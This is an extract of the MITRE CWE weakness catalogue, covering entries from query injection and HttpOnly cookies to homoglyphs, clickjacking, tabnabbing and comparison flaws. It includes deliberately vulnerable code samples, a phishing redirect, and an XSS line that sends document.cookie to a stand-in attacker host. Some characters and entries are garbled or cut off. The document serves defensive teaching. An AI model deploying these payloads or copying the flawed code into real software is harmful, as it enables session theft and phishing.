The application generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.

Extended Description

Depending on the capabilities of the query language, an attacker could inject additional logic into the query to:

- Modify the intended selection criteria, thus changing which data entities (e.g., records) are returned, modified, or otherwise manipulated
- Append additional commands to the query
- Return more entities than intended
- Return fewer entities than intended
- Cause entities to be sorted in an unexpected way

The ability to execute additional commands or change which entities are returned has obvious risks. But when the application logic depends on the order or number of entities, this can also lead to vulnerabilities. For example, if the application query expects to return only one entity that specifies an administrative user, but an attacker can change which entities are returned, this could cause the logic to return information for a regular user and incorrectly assume that the user has administrative privileges.

While this weakness is most commonly associated with SQL injection, there are many other query languages that are also subject to injection attacks, including HTSQL, LDAP, DQL, XQuery, Xpath, and "NoSQL" languages.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	130
ParentOf	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	187
ParentOf	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	198
ParentOf	B	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	1263
ParentOf	B	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	1278

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Bypass Protection Mechanism	
Integrity	Read Application Data	
Availability	Modify Application Data	
Access Control	Varies by Context	

Observed Examples

Reference	Description
CVE-2014-2503	Injection using Documentum Query Language (DQL) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2503*
CVE-2014-2508	Injection using Documentum Query Language (DQL) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2508*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	1975

Notes

Relationship

It could be argued that data query languages are effectively a command language - albeit with a limited set of commands - and thus any query-language injection issue could be treated as a child of CWE-74. However, CWE-943 is intended to better organize query-oriented issues to separate them from fully-functioning programming languages, and also to provide a more precise identifier for the many query languages that do not have their own CWE identifier.

Maintenance

This entry will be made more comprehensive in future CWE versions.

CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag

Weakness ID : 1004 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.

Extended Description

The HttpOnly flag directs compatible browsers to prevent client-side script from accessing cookies. Including the HttpOnly flag in the Set-Cookie HTTP response header helps mitigate the risk associated with Cross-Site Scripting (XSS) where an attacker's script code might attempt to read the contents of a cookie and exfiltrate information obtained. When set, browsers that support the flag will not reveal the contents of the cookie to a third party via client-side script executed via XSS.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	732	Incorrect Permission Assignment for Critical Resource	1367

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Background Details

An HTTP cookie is a small piece of data attributed to a specific website and stored on the user's computer by the user's web browser. This data can be leveraged for a variety of purposes including saving information entered into form fields, recording user activity, and for authentication purposes. Cookies used to save or record information generated by the user are accessed and modified by script code embedded in a web page. While cookies used for authentication are created by the website's server and sent to the user to be attached to future requests. These authentication cookies are often not meant to be accessed by the web page sent to the user, and are instead just supposed to be attached to future requests to verify authentication details.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *If the HttpOnly flag is not set, then sensitive information stored in the cookie may be exposed to unintended parties.*	
Integrity	Gain Privileges or Assume Identity *If the cookie in question is an authentication cookie, then not setting the HttpOnly flag may allow an adversary to steal authentication data (e.g., a session ID) and assume the identity of the user.*	

Potential Mitigations

Phase: Implementation

Leverage the HttpOnly flag when setting a sensitive cookie in a response.

Effectiveness = High

While this mitigation is effective for protecting cookies from a browser's own scripting engine, third-party components or plugins may have their own engines that allow access to cookies. Attackers might also be able to use XMLHTTPResponse to read the headers directly and obtain the cookie.

Demonstrative Examples

Example 1:

In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.

The snippet of code below establishes a new cookie to hold the sessionID.

Example Language: Java *(bad)*

```
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
response.addCookie(c);
```

The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

Example Language: JavaScript *(attack)*

```
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'
```

When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.

To mitigate the risk, use the setHttpOnly(true) method.

Example Language: Java *(good)*

```
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c);
```

Observed Examples

Reference	Description
CVE-2014-3852	CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie.

Reference	Description
	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3852
CVE-2015-4138	Appliance for managing encrypted communications does not use HttpOnly flag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4138*

CWE-1007: Insufficient Visual Distinction of Homoglyphs Presented to User

Weakness ID : 1007 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software displays information or identifiers to a user, but the display mechanism does not make it easy for the user to distinguish between visually similar or identical glyphs (homoglyphs), which may cause the user to misinterpret a glyph and perform an unintended, insecure action.

Extended Description

Some glyphs, pictures, or icons can be semantically distinct to a program, while appearing very similar or identical to a human user. These are referred to as homoglyphs. For example, the lowercase "l" (ell) and uppercase "I" (eye) have different character codes, but these characters can be displayed in exactly the same way to a user, depending on the font. This can also occur between different character sets. For example, the Latin capital letter "A" and the Greek capital letter "#" (Alpha) are treated as distinct by programs, but may be displayed in exactly the same way to a user. Accent marks may also cause letters to appear very similar, such as the Latin capital letter grave mark "À" and its equivalent "À" with the acute accent.

Adversaries can exploit this visual similarity for attacks such as phishing, e.g. by providing a link to an attacker-controlled hostname that looks like a hostname that the victim trusts. In a different use of homoglyphs, an adversary may create a back door username that is visually similar to the username of a regular user, which then makes it more difficult for a system administrator to detect the malicious username while reviewing logs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
ChildOf	C	451	User Interface (UI) Misrepresentation of Critical Information	962

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	355	User Interface Security Issues	1860

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Sometimes)*

Alternate Terms

Homograph Attack : "Homograph" is often used as a synonym of "homoglyph" by researchers, but according to Wikipedia, a homograph is a word that has multiple, distinct meanings.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Other *An attacker may ultimately redirect a user to a malicious website, by deceiving the user into believing the URL they are accessing is a trusted domain. However, the attack can also be used to forge log entries by using homoglyphs in usernames. Homoglyph manipulations are often the first step towards executing advanced attacks such as stealing a user's credentials, Cross-Site Scripting (XSS), or log forgery. If an attacker redirects a user to a malicious site, the attacker can mimic a trusted domain to steal account credentials and perform actions on behalf of the user, without the user's knowledge. Similarly, an attacker could create a username for a website that contains homoglyph characters, making it difficult for an admin to review logs and determine which users performed which actions.*	

Detection Methods

Manual Dynamic Analysis

If utilizing user accounts, attempt to submit a username that contains homoglyphs. Similarly, check to see if links containing homoglyphs can be sent via email, web browsers, or other mechanisms.

Effectiveness = Moderate

Potential Mitigations

Phase: Implementation

Use a browser that displays Punycode for IDNs in the URL and status bars, or which color code various scripts in URLs. Due to the prominence of homoglyph attacks, several browsers now help safeguard against this attack via the use of Punycode. For example, Mozilla Firefox and Google Chrome will display IDNs as Punycode if top-level domains do not restrict which characters can be used in domain names or if labels mix scripts for different languages.

Phase: Implementation

Use an email client that has strict filters and prevents messages that mix character sets to end up in a user's inbox. Certain email clients such as Google's GMail prevent the use of non-Latin

characters in email addresses or in links contained within emails. This helps prevent homoglyph attacks by flagging these emails and redirecting them to a user's spam folder.

Demonstrative Examples

Example 1:

The following looks like a simple, trusted URL that a user may frequently access.

Example Language: *(attack)*

```
http://www.#x#m#l#.##m
```

However, the URL above is comprised of Cyrillic characters that look identical to the expected ASCII characters. This results in most users not being able to distinguish between the two and assuming that the above URL is trusted and safe. The "e" is actually the "CYRILLIC SMALL LETTER IE" which is represented in HTML as the character &#x0435, while the "a" is actually the "CYRILLIC SMALL LETTER A" which is represented in HTML as the character &#x0430. The "p", "c", and "o" are also Cyrillic characters in this example. Viewing the source reveals a URL of "http://www.еxаmрlе.соm". An adversary can utilize this approach to perform an attack such as a phishing attack in order to drive traffic to a malicious website.

Example 2:

The following displays an example of how creating usernames containing homoglyphs can lead to log forgery.

Assume an adversary visits a legitimate, trusted domain and creates the account "admin" where the 'a' and 'i' characters are Cyrillic characters instead of the expected ACII. Any actions the adversary performs will be saved to the log file and look like they came from a legitimate administrator account.

Example Language: *(result)*

```
123.123.123.123 #dm#n [17/Jul/2017:09:05:49 -0400] "GET /example/users/userlist HTTP/1.1" 401 12846
123.123.123.123 #dm#n [17/Jul/2017:09:06:51 -0400] "GET /example/users/userlist HTTP/1.1" 200 4523
123.123.123.123 #dm#n [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291
123.123.123.123 #dm#n [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291
123.123.123.123 #dm#n [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291
123.123.123.123 #dm#n [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291
```

However, upon closer inspection, the account that generated these log entries is "аdmіn". This makes it more difficult to determine which actions were performed by the adversary and which actions were executed by the legitimate "admin" account.

Observed Examples

CWE-1021: Improper Restriction of Rendered UI Layers or Frames

Weakness ID : 1021 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The web application does not restrict or incorrectly restricts frame objects or UI layers that belong to another application or domain, which can lead to user confusion about which interface the user is interacting with.

Extended Description

A web application is expected to place restrictions on whether it is allowed to be rendered within frames, iframes, objects, embed or applet elements. Without the restrictions, users can be tricked into interacting with the application when they were not intending to.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	451	User Interface (UI) Misrepresentation of Critical Information	962
ChildOf	C	441	Unintended Proxy or Intermediary ('Confused Deputy')	950

Nature	Type	ID	Name	Page
ChildOf	C	610	Externally Controlled Reference to a Resource in Another Sphere	1213

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	355	User Interface Security Issues	1860

Applicable Platforms

Technology : Web Based *(Prevalence = Undetermined)*

Alternate Terms

Clickjacking :

UI Redress Attack :

Tapjacking : "Tapjacking" is similar to clickjacking, except it is used for mobile applications in which the user "taps" the application instead of performing a mouse click.

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism Read Application Data Modify Application Data *An attacker can trick a user into performing actions that are masked and hidden from the user's view. The impact varies widely, depending on the functionality of the underlying application. For example, in a social media application, clickjacking could be used to trik the user into changing privacy settings.*	

Potential Mitigations

Phase: Implementation

The use of X-Frame-Options allows developers of web content to restrict the usage of their application within the form of overlays, frames, or iFrames. The developer can indicate from which domains can frame the content. The concept of X-Frame-Options is well documented, but implementation of this protection mechanism is in development to cover gaps. There is a need for allowing frames from multiple domains.

Phase: Implementation

A developer can use a "frame-breaker" script in each page that should not be framed. This is very helpful for legacy browsers that do not support X-Frame-Options security feature previously mentioned. It is also important to note that this tactic has been circumvented or bypassed. Improper usage of frames can persist in the web application through nested frames. The "frame-breaking" script does not intuitively account for multiple nested frames that can be presented to the user.

Phase: Implementation

This defense-in-depth technique can be used to prevent the improper usage of frames in web applications. It prioritizes the valid sources of data to be loaded into the application through the usage of declarative policies. Based on which implementation of Content Security Policy is in use, the developer should use the "frame-ancestors" directive or the "frame-src" directive to mitigate this weakness. Both directives allow for the placement of restrictions when it comes to allowing embedded content.

Observed Examples

Reference	Description
CVE-2017-7440	E-mail preview feature in a desktop application allows clickjacking attacks via a crafted e-mail message *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7440*

CWE-1022: Use of Web Link to Untrusted Target with window.opener Access

Weakness ID : 1022 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The web application produces links to untrusted external sites outside of its sphere of control, but it does not properly prevent the external site from modifying security-critical properties of the window.opener object, such as the location property.

Extended Description

When a user clicks a link to an external site ("target"), the target="_blank" attribute causes the target site's contents to be opened in a new window or tab, which runs in the same process as the original page. The window.opener object records information about the original page that offered the link. If an attacker can run script on the target page, then they could read or modify certain properties of the window.opener object, including the location property - even if the original and target site are not the same origin. An attacker can modify the location property to automatically redirect the user to a malicious site, e.g. as part of a phishing attack. Since this redirect happens in the original window/tab - which is not necessarily visible, since the browser is focusing the display on the new target page - the user might not notice any suspicious redirection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	266	Incorrect Privilege Assignment	580

Applicable Platforms

Language : JavaScript *(Prevalence = Often)*

Technology : Web Based *(Prevalence = Often)*

Alternate Terms

tabnabbing :

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Alter Execution Logic *The user may be redirected to an untrusted page that contains undesired content or malicious script code.*	

Potential Mitigations

Phase: Architecture and Design

Specify in the design that any linked external document must not be granted access to the location object of the calling page.

Phase: Implementation

When creating a link to an external document using the <a> tag with a defined target, for example "_blank" or a named frame, provide the rel attribute with a value "noopener noreferrer". If opening the external document in a new window via javascript, then reset the opener by setting it equal to null.

Phase: Implementation

Do not use "_blank" targets. However, this can affect the usability of your application.

Demonstrative Examples

Example 1:

In this example, the application opens a link in a named window/tab without taking precautions to prevent the called page from tampering with the calling page's location in the browser.

There are two ways that this weakness is commonly seen. The first is when the application generates an <a> tag is with target="_blank" to point to a target site:

Example Language: HTML *(bad)*

```
<a href="http://attacker-site.example.com/useful-page.html" target="_blank">
```

If the attacker offers a useful page on this link (or compromises a trusted, popular site), then a user may click on this link. However, the attacker could use scripting code to modify the window.opener's location property to redirect the application to a malicious, attacker-controlled page - such as one that mimics the look and feel of the original application and convinces the user to re-enter authentication credentials, i.e. phishing:

Example Language: JavaScript *(attack)*

```
window.opener.location = 'http://phishing.example.org/popular-bank-page';
```

To mitigate this type of weakness, some browsers support the "rel" attribute with a value of "noopener", which sets the window.opener object equal to null. Another option is to use the "rel" attribute with a value of "noreferrer", which in essence does the same thing.

Example Language: HTML *(good)*

```
<a href="http://attacker-site.example.com/useful-page.html" target="_blank" rel="noopener noreferrer">
```

A second way that this weakness is commonly seen is when opening a new site directly within JavaScript. In this case, a new site is opened using the window.open() function.

Example Language: JavaScript *(bad)*

```
var newWindow = window.open("http://attacker-site.example.com/useful-page.html", "_blank");
```

To mitigate this, set the window.opener object to null.

Example Language: JavaScript *(good)*

```
var newWindow = window.open("http://attacker-site.example.com/useful-page.html", "_blank");
newWindow.opener = null;
```

CWE-1023: Incomplete Comparison with Missing Factors

Weakness ID : 1023 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software performs a comparison between entities that must consider multiple factors or characteristics of each entity, but the comparison does not include one or more of these factors.

Extended Description

An incomplete comparison can lead to resultant weaknesses, e.g., by operating on the wrong object or making a security decision without considering a required factor.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page

ParentOf	B	478	Missing Default Case in Switch Statement	1018
ParentOf	B	839	Numeric Range Comparison Without Minimum Check	1554

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Alter Execution Logic	
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

Demonstrative Examples

Example 1:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

Example Language: C *(bad)*

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
    if (strncmp(username, inUser, strlen(inUser))) {
        logEvent("Auth failure of username using strlen of inUser");
        return(AUTH_FAIL);
    }
    if (! strncmp(pass, inPass, strlen(inPass))) {
        logEvent("Auth success of password using strlen of inUser");
        return(AUTH_SUCCESS);
    }
    else {
        logEvent("Auth fail of password using sizeof");
        return(AUTH_FAIL);
    }
}
int main (int argc, char **argv) {
    int authResult;
    if (argc < 3) {
        ExitError("Usage: Provide a username and password");
    }
    authResult = AuthenticateUser(argv[1], argv[2]);
    if (authResult == AUTH_SUCCESS) {
        DoAuthenticatedTask(argv[1]);
    }
    else {
        ExitError("Authentication failed");
    }
}
```

In AuthenticateUser(), the strncmp() call uses the string length of an attacker-provided inPass parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

Example Language: *(attack)*

```
p
pa
pas
pass
```

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.

While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

CWE-1024: Comparison of Incompatible Types

Weakness ID : 1024 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software performs a comparison between two entities, but the entities are of different, incompatible types that cannot be guaranteed to provide correct results when they are directly compared.

Extended Description

In languages that are strictly typed but support casting/conversion, such as C or C++, the programmer might assume that casting one entity to the same type as another entity will ensure that the comparison will be performed correctly, but this cannot be guaranteed. In languages that are not strictly typed, such as PHP or JavaScript, there may be implicit casting/conversion to a type that the programmer is unaware of, causing unexpected results; for example, the string "123" might be converted to a number type. See examples.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

CWE-1025: Comparison Using Wrong Factors

Weakness ID : 1025 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code performs a comparison between two entities, but the comparison examines the wrong factors or characteristics of the entities, which can lead to incorrect results and resultant weaknesses.

Extended Description

This can lead to incorrect results and resultant weaknesses. For example, the code might inadvertently compare references to objects, instead of the relevant contents of those objects, causing two "equal" objects to be considered unequal.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Potential Mitigations

Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

Demonstrative Examples

Example 1:

In the example below, two Java String objects are declared and initialized with the same string values and an if statement is used to determine if the strings are equivalent.

Example Language: Java *(bad)*

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
    System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

Example Language: *(good)*

```
if (str1.equals(str2)) {
    System.out.println("str1 equals str2");
}
```

CWE-1037: Processor Optimization Removal or Modification of Security-critical Code

Weakness ID : 1037 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The developer builds a security-critical protection mechanism into the software, but the processor optimizes the execution of the program such that the mechanism is removed or modified.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1038	Insecure Automated Optimizations	1641

Nature	Type	ID	Name	Page
PeerOf	B	1264	Hardware Logic with Insecure De-Synchronization between Control and Data Channels	1800

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Weakness Ordinalities

Primary : This weakness does not depend on other weaknesses and is the result of choices made by the processor in executing the specified application.

Applicable Platforms

Language : Language-Independent *(Prevalence = Rarely)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity	Bypass Protection Mechanism *A successful exploitation of this weakness will change the order of an application's execution and will likely be used to bypass specific protection mechanisms. This bypass can be exploited further to potentially read data that should otherwise be unaccessible.*	High

Detection Methods

White Box

In theory this weakness can be detected through the use of white box testing techniques where specifically crafted test cases are used in conjunction with debuggers to verify the order of statements being executed.

Effectiveness = Opportunistic

Although the mentioned detection method is theoretically possible, the use of speculative execution is a preferred way of increasing processor performance. The reality is that a large number of statements are executed out of order, and determining if any of them break an access control property would be extremely opportunistic.

Observed Examples

Reference	Description
CVE-2017-5715	Intel, ARM, and AMD processor optimizations related to speculative execution and branch prediction cause access control checks to be bypassed when placing data into the cache. Often known as "Spectre". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5715*
CVE-2017-5753	Intel, ARM, and AMD processor optimizations related to speculative execution and branch prediction cause access control checks to be bypassed when placing data into the cache. Often known as "Spectre". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5753*
CVE-2017-5754	Intel processor optimizations related to speculative execution cause access control checks to be bypassed when placing data into the cache. Often known as "Meltdown". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5754*

CWE-1038: Insecure Automated Optimizations

Weakness ID : 1038 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product uses a mechanism that automatically optimizes code, e.g. to improve a characteristic such as performance, but the optimizations can have an unintended side effect that might violate an intended security assumption.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1393
ChildOf	P	435	Improper Interaction Between Multiple Correctly-Behaving Entities	943
ParentOf	B	733	Compiler Optimization Removal or Modification of Security-critical Code	1375
ParentOf	B	1037	Processor Optimization Removal or Modification of Security-critical Code	1639

Weakness Ordinalities

Primary : This weakness does not depend on other weaknesses and is the result of choices made during optimization.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity	Alter Execution Logic *The optimizations alter the order of execution resulting in side effects that were not intended by the original developer.*	

CWE-1039: Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations

Weakness ID : 1039 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The product uses an automated mechanism such as machine learning to recognize complex data inputs (e.g. image or audio) as a particular concept or category, but it does not properly detect or handle inputs that have been modified or constructed in a way that causes the mechanism to detect a different, incorrect concept.

Extended Description

When techniques such as machine learning are used to automatically classify input streams, and those classifications are used for security-critical decisions, then any mistake in classification can introduce a vulnerability that allows attackers to cause the product to make the wrong security decision. If the automated mechanism is not developed or "trained" with enough input data, then attackers may be able to craft malicious input that intentionally triggers the incorrect classification.

Targeted technologies include, but are not necessarily limited to:

- automated speech recognition
- automated image recognition

For example, an attacker might modify road signs or road surface markings to trick autonomous vehicles into misreading the sign/marking and performing a dangerous action.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1350
ChildOf	P	693	Protection Mechanism Failure	1344

Weakness Ordinalities

Primary : This weakness does not depend on other weaknesses and is the result of choices made during optimization.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Bypass Protection Mechanism *When the automated recognition is used in a protection mechanism, an attacker may be able to craft inputs that are misinterpreted in a way that grants excess privileges.*	

Notes

Relationship

Further investigation is needed to determine if better relationships exist or if additional organizational entries need to be created. For example, this issue might be better related to "recognition of input as an incorrect type," which might place it as a sibling of CWE-704 (incorrect type conversion).

CWE-1041: Use of Redundant Code

Weakness ID : 1041 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software has multiple functions, methods, procedures, macros, etc. that contain the same code.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. For example, if there are two copies of the same code, the programmer might fix a weakness in one copy while forgetting to fix the same weakness in another copy.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1042: Static Member Data Element outside of a Singleton Class Element

Weakness ID : 1042 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The code contains a member element that is declared as static (but not final), in which its parent class element is not a singleton class - that is, a class element that can be used only once in the 'to' association of a Create action.

Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements

Weakness ID : 1043 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses a data element that has an excessively large number of sub-elements with non-primitive data types such as structures or aggregated objects.

Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "excessively large" may vary for each product or developer, CISQ recommends a default of 5 sub-elements.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range

Weakness ID : 1044 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software's architecture contains too many - or too few - horizontal layers.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "expected range" may vary for each product or developer, CISQ recommends a default minimum of 4 layers and maximum of 8 layers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

